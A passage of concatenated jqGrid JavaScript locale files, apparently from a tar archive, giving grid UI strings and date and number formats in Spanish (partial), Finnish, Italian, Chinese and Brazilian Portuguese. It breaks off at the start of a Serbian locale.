pgrecs : "Registros por página", showhide: "Alternar Contraer Expandir Grid", // mobile pagerCaption : "Grid::Configurar página", pageText : "Página:", recordPage : "Registros por página", nomorerecs : "No más registros...", scrollPullup: "Arrastrar arriba para cargar más...", scrollPulldown : "Arrastrar arriba para refrescar...", scrollRefresh : "Soltar para refrescar...", valT : "marcada", valF : "sin marcar", selectLine : "Seleccionar fila", selectAllLines : "Seleccionar todas las filas" }, search : { caption: "Búsqueda...", Find: "Buscar", Reset: "Limpiar", odata: [{ oper:'eq', text:"igual "},{ oper:'ne', text:"no igual a"},{ oper:'lt', text:"menor que"},{ oper:'le', text:"menor o igual que"},{ oper:'gt', text:"mayor que"},{ oper:'ge', text:"mayor o igual a"},{ oper:'bw', text:"empiece por"},{ oper:'bn', text:"no empiece por"},{ oper:'in', text:"está en"},{ oper:'ni', text:"no está en"},{ oper:'ew', text:"termina por"},{ oper:'en', text:"no termina por"},{ oper:'cn', text:"contiene"},{ oper:'nc', text:"no contiene"},{ oper:'nu', text:'es nulo'},{ oper:'nn', text:'no es nulo'}, {oper:'bt', text:'entre'}], groupOps: [ { op: "AND", text: "todo" }, { op: "OR", text: "cualquier" } ], operandTitle : "Clic para seleccionar la operación de búsqueda.", resetTitle : "Reiniciar valores de búsqueda", addsubgrup : "Agregar subgrupo", addrule : "Agregar regla", delgroup : "Borrar grupo", delrule : "Borrar regla", Close : "Cerrar", Operand : "Operador : ", Operation : "Oper : ", filterFor : "filtro para" }, edit : { addCaption: "Agregar registro", editCaption: "Modificar registro", bSubmit: "Guardar", bCancel: "Cancelar", bClose: "Cerrar", saveData: "Se han modificado los datos, ¿guardar cambios?", bYes : "Si", bNo : "No", bExit : "Cancelar", msg: { required:"Campo obligatorio", number:"Introduzca un número", minValue:"El valor debe ser mayor o igual a ", maxValue:"El valor debe ser menor o igual a ", email: "no es una dirección de correo válida", integer: "Introduzca un valor entero", date: "Introduzca una fecha correcta ", url: "no es una URL válida. Prefijo requerido ('http://' or 'https://')", nodefined : " no está definido.", novalue : " valor de retorno es requerido.", customarray : "La función personalizada debe devolver un array.", customfcheck : "La función personalizada debe estar presente en el caso de validación personalizada." } }, view : { caption: "Consultar registro", bClose: "Cerrar" }, del : { caption: "Eliminar", msg: "¿Desea eliminar los registros seleccionados?", bSubmit: "Eliminar", bCancel: "Cancelar" }, nav : { edittext: " ", edittitle: "Modificar fila seleccionada", addtext:" ", addtitle: "Agregar nueva fila", deltext: " ", deltitle: "Eliminar fila seleccionada", searchtext: " ", searchtitle: "Buscar información", refreshtext: "", refreshtitle: "Recargar datos", alertcap: "Aviso", alerttext: "Seleccione una fila", viewtext: "", viewtitle: "Ver fila seleccionada", savetext: "", savetitle: "Guardar fila", canceltext: "", canceltitle : "Cancelar edición de fila", selectcaption : "Acciones..." }, col : { caption: "Mostrar/ocultar columnas", bSubmit: "Enviar", bCancel: "Cancelar" }, errors : { errcap : "Error", nourl : "No se ha especificado una URL", norecords: "No hay datos para procesar", model : "Las columnas de nombres son diferentes de las columnas del modelo" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Do", "Lu", "Ma", "Mi", "Ju", "Vi", "Sa", "Domingo", "Lunes", "Martes", "Miércoles", "Jueves", "Viernes", "Sábado" ], monthNames: [ "Ene", "Feb", "Mar", "Abr", "May", "Jun", "Jul", "Ago", "Sep", "Oct", "Nov", "Dic", "Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd-m-Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Orden Ascendente", sortdesc : "Orden Descendente", columns : "Columnas", filter : "Filtrar", grouping : "Agrupar por", ungrouping : "Desagrupar", searchTitle : "Obtener elementos con un valor que:", freeze : "Inmovilizar", unfreeze : "Movilizar", reorder : "Mover para reordenar", hovermenu: "Click para accion rápida de columna" } }; })); i18n/grid.locale-fi.js000064400000014737151677266200010470 0ustar00/** * jqGrid (fi) Finnish Translation * Jukka Inkeri awot.fi 2010-05-19 * Alex Grönholm alex.gronholm@nextday.fi 2011-05-18 * http://awot.fi * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["fi"] = { defaults: { recordtext: "Rivit {0} - {1} / {2}", emptyrecords: "Ei näytettäviä", loadtext: "Haetaan...", savetext: "Saving...", pgtext: "Sivu {0} / {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search: { caption: "Etsi...", Find: "Etsi", Reset: "Tyhjennä", odata: [{ oper:'eq', text:"on"},{ oper:'ne', text:"ei ole"},{ oper:'lt', text:"pienempi"},{ oper:'le', text:"pienempi tai yhtäsuuri"},{ oper:'gt', text:"suurempi"},{ oper:'ge', text:"suurempi tai yhtäsuuri"},{ oper:'bw', text:"alkaa"},{ oper:'bn', text:"ei ala"},{ oper:'in', text:"joukossa"},{ oper:'ni', text:"ei joukossa"},{ oper:'ew', text:"loppuu"},{ oper:'en', text:"ei lopu"},{ oper:'cn', text:"sisältää"},{ oper:'nc', text:"ei sisällä"},{ oper:'nu', text:"on tyhjä"},{ oper:'nn', text:"ei ole tyhjä"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "kaikki" }, { op: "OR", text: "mikä tahansa" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit: { addCaption: "Uusi rivi", editCaption: "Muokkaa riviä", bSubmit: "OK", bCancel: "Peru", bClose: "Sulje", saveData: "Tietoja muutettu! Tallennetaanko?", bYes: "Kyllä", bNo: "Ei", bExit: "Peru", msg: { required: "pakollinen", number: "Anna kelvollinen nro", minValue: "arvon oltava suurempi tai yhtäsuuri kuin ", maxValue: "arvon oltava pienempi tai yhtäsuuri kuin ", email: "ei ole kelvollinen säpostiosoite", integer: "Anna kelvollinen kokonaisluku", date: "Anna kelvollinen pvm", url: "Ei ole kelvollinen linkki(URL). Alku oltava ('http://' tai 'https://')", nodefined: " ei ole määritelty!", novalue: " paluuarvo vaaditaan!", customarray: "Oman funktion tulee palauttaa jono!", customfcheck: "Oma funktio on määriteltävä räätälöityä tarkastusta varten!" } }, view: { caption: "Näytä rivi", bClose: "Sulje" }, del: { caption: "Poista", msg: "Poista valitut rivit?", bSubmit: "Poista", bCancel: "Peru" }, nav: { edittext: "", edittitle: "Muokkaa valittua riviä", addtext: "", addtitle: "Uusi rivi", deltext: "", deltitle: "Poista valittu rivi", searchtext: "", searchtitle: "Etsi tietoja", refreshtext: "", refreshtitle: "Lataa uudelleen", alertcap: "Varoitus", alerttext: "Valitse rivi", viewtext: "", viewtitle: "Näyta valitut rivit", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col: { caption: "Valitse sarakkeet", bSubmit: "OK", bCancel: "Peru" }, errors : { errcap: "Virhe", nourl: "URL on asettamatta", norecords: "Ei muokattavia tietoja", model: "Pituus colNames <> colModel!" }, formatter: { integer: {thousandsSeparator: "", defaultValue: '0'}, number: {decimalSeparator:",", thousandsSeparator: "", decimalPlaces: 2, defaultValue: '0,00'}, currency: {decimalSeparator:",", thousandsSeparator: "", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date: { dayNames: [ "Su", "Ma", "Ti", "Ke", "To", "Pe", "La", "Sunnuntai", "Maanantai", "Tiistai", "Keskiviikko", "Torstai", "Perjantai", "Lauantai" ], monthNames: [ "Tam", "Hel", "Maa", "Huh", "Tou", "Kes", "Hei", "Elo", "Syy", "Lok", "Mar", "Jou", "Tammikuu", "Helmikuu", "Maaliskuu", "Huhtikuu", "Toukokuu", "Kesäkuu", "Heinäkuu", "Elokuu", "Syyskuu", "Lokakuu", "Marraskuu", "Joulukuu" ], AmPm: ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd.m.Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks: { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "d.m.Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox: {disabled:true}, idName: 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; // FI })); i18n/grid.locale-it.js000064400000013474151677266200010503 0ustar00/*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["it"] = { defaults : { recordtext: "Mostra {0} - {1} di {2}", emptyrecords: "Non ci sono record da mostrare", loadtext: "Caricamento...", savetext: "Salvataggio...", pgtext : "Pagina {0} di {1}", pgfirst : "Prima Pagina", pglast : "Ultima Pagina", pgnext : "Pagina Successiva", pgprev : "Pagina Precedente", pgrecs : "Records per Pagina", showhide: "Espandi o collassa griglia", // mobile pagerCaption : "Griglia::Impostazioni della pagina", pageText : "Pagina:", recordPage : "Records per Pagina", nomorerecs : "Non ci sono altri record...", scrollPullup: "Trascina verso l'alto per altri...", scrollPulldown : "Trascina verso il basso per aggiornare...", scrollRefresh : "Rilascia per aggiornare...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Cerca...", Find: "Trova", Reset: "Reset", odata: [{ oper:'eq', text:'uguale'},{ oper:'ne', text:'diverso'},{ oper:'lt', text:'minore'},{ oper:'le', text:'minore o uguale'},{ oper:'gt', text:'maggiore'},{ oper:'ge', text:'maggiore o uguale'},{ oper:'bw', text:'inizia per'},{ oper:'bn', text:'non inizia per'},{ oper:'in', text:'è in'},{ oper:'ni', text:'non è in'},{ oper:'ew', text:'finisce per'},{ oper:'en', text:'non finisce per'},{ oper:'cn', text:'contiene'},{ oper:'nc', text:'non contiene'},{ oper:'nu', text:'è null'},{ oper:'nn', text:'non è null'}, {oper:'bt', text:'between'}], groupOps: [{ op: "AND", text: "tutti" },{ op: "OR", text: "ciascuno" }], operandTitle : "Clicca sull'opzione di ricerca scelta.", resetTitle : "Resetta valori di ricerca", addsubgrup : "Aggiungi Sottogruppo", addrule : "Aggiungi Regola", delgroup : "Cancella Sottogruppo", delrule : "Cancella Regola", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Aggiungi Record", editCaption: "Modifica Record", bSubmit: "Invia", bCancel: "Annulla", bClose: "Chiudi", saveData: "I dati sono stati modificati! Salvare le modifiche?", bYes : "Si", bNo : "No", bExit : "Annulla", msg: { required:"Campo obbligatorio", number:"Per favore, inserisci un numero valido", minValue:"il valore deve essere maggiore o uguale a ", maxValue:"il valore deve essere minore o uguale a ", email: "non è una e-mail valida", integer: "Per favore, inserisci un intero valido", date: "Per favore, inserisci una data valida", url: "non è un URL valido. Prefissi richiesti ('http://' o 'https://')", nodefined : " non è definito!", novalue : " valore di ritorno richiesto!", customarray : "La funzione personalizzata deve restituire un array!", customfcheck : "La funzione personalizzata deve essere presente in caso di controlli personalizzati!" } }, view : { caption: "Visualizza Record", bClose: "Chiudi" }, del : { caption: "Cancella", msg: "Cancellare i record selezionati?", bSubmit: "Cancella", bCancel: "Annulla" }, nav : { edittext: "", edittitle: "Modifica riga selezionata", addtext:"", addtitle: "Aggiungi riga", deltext: "", deltitle: "Cancella riga", searchtext: "", searchtitle: "Trova record", refreshtext: "", refreshtitle: "Ricarica tabella", alertcap: "Attenzione", alerttext: "Per favore, seleziona un record", viewtext: "", viewtitle: "Visualizza riga selezionata", savetext: "", savetitle: "Salva riga", canceltext: "", canceltitle : "Annulla modifica riga", selectcaption : "Azioni..." }, col : { caption: "Seleziona colonne", bSubmit: "Ok", bCancel: "Annulla" }, errors : { errcap : "Errore", nourl : "Nessun url impostato", norecords: "Non ci sono record da elaborare", model : "Lunghezza dei colNames <> colModel!" }, formatter:{ integer:{ thousandsSeparator:".", defaultValue:"0" }, number:{ decimalSeparator:",", thousandsSeparator:".", decimalPlaces:2, defaultValue:"0,00" }, currency:{ decimalSeparator:",", thousandsSeparator:".", decimalPlaces:2, prefix:"€ ", suffix:"", defaultValue:"0,00" }, date:{ dayNames:["Dom","Lun","Mar","Mer","Gio","Ven","Sab","Domenica","Lunedì","Martedì","Mercoledì","Giovedì","Venerdì","Sabato"], monthNames:["Gen","Feb","Mar","Apr","Mag","Giu","Lug","Ago","Set","Ott","Nov","Dic","Gennaio","Febbraio","Marzo","Aprile","Maggio","Giugno","Luglio","Agosto","Settembre","Ottobre","Novembre","Dicembre"], AmPm:["am","pm","AM","PM"], S:function(b){return b<11||b>13?["st","nd","rd","th"][Math.min((b-1)%10,3)]:"th"}, srcformat:"Y-m-d", newformat:"d/m/Y", parseRe : /[#%\\\/:_;.,\t\s-]/, masks:{ ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate:"d/m/Y", LongDate:"l d F Y", FullDateTime:"l d F Y G:i:s", MonthDay:"F d", ShortTime:"H:i", LongTime:"H:i:s", SortableDateTime:"Y-m-d\\TH:i:s", UniversalSortableDateTime:"Y-m-d H:i:sO", YearMonth:"F, Y" }, reformatAfterEdit:false, userLocalTime : false }, baseLinkUrl:"", showAction:"", target:"", checkbox:{ disabled:true}, idName:"id" }, colmenu : { sortasc : "Ordinamento Ascendente", sortdesc : "Ordinamento Discendente", columns : "Colonne", filter : "Filtro", grouping : "Raggruppa", ungrouping : "Separa", searchTitle : "Cerca righe con i valori:", freeze : "Blocca", unfreeze : "Sblocca", reorder : "Sposta per riordinare", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-cn.js000064400000023046151677266200010463 0ustar00/** * jqGrid Chinese Translation * 咖啡兔 yanhonglei@gmail.com * http://www.kafeitu.me * * 花岗岩 marbleqi@163.com * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["cn"] = { defaults : { recordtext: "第{0}到第{1}条\u3000共 {2} 条", // 共字前是全角空格 emptyrecords: "没有记录!", loadtext: "读取中...", savetext: "保存中...", pgtext : "第{0}页\u3000共{1}页", pgfirst : "第一页", pglast : "最后一页", pgnext : "下一页", pgprev : "上一页", pgrecs : "每页记录数", showhide: "切换 展开 折叠 表格", // mobile pagerCaption : "表格::页面设置", pageText : "Page:", recordPage : "每页记录数", nomorerecs : "没有更多记录...", scrollPullup: "加载更多...", scrollPulldown : "刷新...", scrollRefresh : "滚动刷新...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "搜索...", Find: "查找", Reset: "重置", odata: [{ oper:'eq', text:'等于\u3000\u3000'},{ oper:'ne', text:'不等于\u3000'},{ oper:'lt', text:'小于\u3000\u3000'},{ oper:'le', text:'小于等于'},{ oper:'gt', text:'大于\u3000\u3000'},{ oper:'ge', text:'大于等于'},{ oper:'bw', text:'开头是'},{ oper:'bn', text:'开头不是'},{ oper:'in', text:'属于\u3000\u3000'},{ oper:'ni', text:'不属于'},{ oper:'ew', text:'结尾是'},{ oper:'en', text:'结尾不是'},{ oper:'cn', text:'包含\u3000\u3000'},{ oper:'nc', text:'不包含'},{ oper:'nu', text:'为空'},{ oper:'nn', text:'不为空'}, {oper:'bt', text:'区间'}], groupOps: [ { op: "AND", text: "满足所有条件" }, { op: "OR", text: "满足任一条件" } ], operandTitle : "单击进行搜索。", resetTitle : "重置搜索条件", addsubgrup : "添加条件组", addrule : "添加条件", delgroup : "删除条件组", delrule : "删除条件", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "添加记录", editCaption: "编辑记录", bSubmit: "提交", bCancel: "取消", bClose: "关闭", saveData: "数据已修改,是否保存?", bYes : "是", bNo : "否", bExit : "取消", msg: { required:"此字段必需", number:"请输入有效数字", minValue:"输值必须大于等于 ", maxValue:"输值必须小于等于 ", email: "这不是有效的e-mail地址", integer: "请输入有效整数", date: "请输入有效时间", url: "无效网址。前缀必须为 ('http://' 或 'https://')", nodefined : " 未定义!", novalue : " 需要返回值!", customarray : "自定义函数需要返回数组!", customfcheck : "必须有自定义函数!" } }, view : { caption: "查看记录", bClose: "关闭" }, del : { caption: "删除", msg: "删除所选记录?", bSubmit: "删除", bCancel: "取消" }, nav : { edittext: "", edittitle: "编辑所选记录", addtext:"", addtitle: "添加新记录", deltext: "", deltitle: "删除所选记录", searchtext: "", searchtitle: "查找", refreshtext: "", refreshtitle: "刷新表格", alertcap: "注意", alerttext: "请选择记录", viewtext: "", viewtitle: "查看所选记录", savetext: "", savetitle: "保存记录", canceltext: "", canceltitle : "取消编辑记录", selectcaption : "操作..." }, col : { caption: "选择列", bSubmit: "确定", bCancel: "取消" }, errors : { errcap : "错误", nourl : "没有设置url", norecords: "没有需要处理的记录", model : "colNames 和 colModel 长度不等!" }, formatter : { integer : {thousandsSeparator: ",", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "日", "一", "二", "三", "四", "五", "六", "星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六", ], monthNames: [ "一", "二", "三", "四", "五", "六", "七", "八", "九", "十", "十一", "十二", "一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月" ], AmPm : ["am","pm","上午","下午"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'Y-m-d', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently // one can find on https://github.com/jquery/globalize/tree/master/lib/cultures many // information about date, time, numbers and currency formats used in different countries // one should just convert the information in PHP format ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", // short date: // n - Numeric representation of a month, without leading zeros // j - Day of the month without leading zeros // Y - A full numeric representation of a year, 4 digits // example: 3/1/2012 which means 1 March 2012 ShortDate: "n/j/Y", // in jQuery UI Datepicker: "M/d/yyyy" // long date: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits LongDate: "l, F d, Y", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy" // long date with long time: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) FullDateTime: "l, F d, Y g:i:s A", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy h:mm:ss tt" // month day: // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros MonthDay: "F d", // in jQuery UI Datepicker: "MMMM dd" // short time (without seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) ShortTime: "g:i A", // in jQuery UI Datepicker: "h:mm tt" // long time (with seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) LongTime: "g:i:s A", // in jQuery UI Datepicker: "h:mm:ss tt" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // Y - A full numeric representation of a year, 4 digits // F - A full textual representation of a month YearMonth: "F, Y" // in jQuery UI Datepicker: "MMMM, yyyy" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "升序排序", sortdesc : "降序排序", columns : "列", filter : "筛选", grouping : "分类", ungrouping : "取消分类", searchTitle : "查找:", freeze : "冻结", unfreeze : "取消冻结", reorder : "重新排序", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-pt-br.js000064400000014741151677266200011111 0ustar00/** * jqGrid Brazilian-Portuguese Translation * Sergio Righi sergio.righi@gmail.com * http://curve.com.br * * Updated by Jonnas Fonini * http://fonini.net * * * Updated by Fabio Ferreira da Silva fabio_ferreiradasilva@yahoo.com.br * * Updated by Anderson Pimentel anderson.pimentel[at]gmail.com * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["pt-br"] = { defaults : { recordtext: "Ver {0} - {1} de {2}", emptyrecords: "Nenhum registro para visualizar", loadtext: "Carregando...", pgtext : "Página {0} de {1}", savetext: "Salvando...", pgfirst : "Primeira Página", pglast : "Última Página", pgnext : "Próxima Página", pgprev : "Página Anterior", pgrecs : "Registros por Página", showhide: "Mostrar/Ocultar Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Procurar...", Find: "Procurar", Reset: "Limpar", odata: [{ oper:'eq', text:"igual"},{ oper:'ne', text:"diferente"},{ oper:'lt', text:"menor"},{ oper:'le', text:"menor ou igual"},{ oper:'gt', text:"maior"},{ oper:'ge', text:"maior ou igual"},{ oper:'bw', text:"inicia com"},{ oper:'bn', text:"não inicia com"},{ oper:'in', text:"está em"},{ oper:'ni', text:"não está em"},{ oper:'ew', text:"termina com"},{ oper:'en', text:"não termina com"},{ oper:'cn', text:"contém"},{ oper:'nc', text:"não contém"},{ oper:'nu', text:"nulo"},{ oper:'nn', text:"não nulo"}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "todos" },{ op: "OR", text: "qualquer um" } ], operandTitle : "Clique para escolher a operação de pesquisa.", resetTitle : "Limpar valor de pesquisa", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Incluir", editCaption: "Alterar", bSubmit: "Enviar", bCancel: "Cancelar", bClose: "Fechar", saveData: "Os dados foram alterados! Salvar alterações?", bYes : "Sim", bNo : "Não", bExit : "Cancelar", msg: { required:"Campo obrigatório", number:"Por favor, informe um número válido", minValue:"valor deve ser igual ou maior que ", maxValue:"valor deve ser menor ou igual a", email: "este e-mail não é válido", integer: "Por favor, informe um valor inteiro", date: "Por favor, informe uma data válida", url: "não é uma URL válida. Prefixo obrigatório ('http://' or 'https://')", nodefined : " não está definido!", novalue : " um valor de retorno é obrigatório!", customarray : "Função customizada deve retornar um array!", customfcheck : "Função customizada deve estar presente em caso de validação customizada!" } }, view : { caption: "Ver Registro", bClose: "Fechar" }, del : { caption: "Apagar", msg: "Apagar registro(s) selecionado(s)?", bSubmit: "Apagar", bCancel: "Cancelar" }, nav : { edittext: " ", edittitle: "Alterar registro selecionado", addtext:" ", addtitle: "Incluir novo registro", deltext: " ", deltitle: "Apagar registro selecionado", searchtext: " ", searchtitle: "Procurar registros", refreshtext: "", refreshtitle: "Recarregar tabela", alertcap: "Aviso", alerttext: "Por favor, selecione um registro", viewtext: "", viewtitle: "Ver linha selecionada", savetext: "", savetitle: "Salvar linha", canceltext: "", canceltitle : "Cancelar edição da linha", selectcaption : "Actions..." }, col : { caption: "Mostrar/Esconder Colunas", bSubmit: "Enviar", bCancel: "Cancelar" }, errors : { errcap : "Erro", nourl : "Nenhuma URL definida", norecords: "Sem registros para exibir", model : "Comprimento de colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "R$ ", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sáb", "Domingo", "Segunda", "Terça", "Quarta", "Quinta", "Sexta", "Sábado" ], monthNames: [ "Jan", "Fev", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Out", "Nov", "Dez", "Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['º', 'º', 'º', 'º'][Math.min((j - 1) % 10, 3)] : 'º'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-sr.js000064400000016022151677266200010503 0ustar00/** * jqGrid Serbian Translation * Александар Миловац(Aleksandar Milovac) aleksandar.milovac@gmail.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["sr"] = { defaults : { recordtext: "Преглед {0} - {1} од {2}", 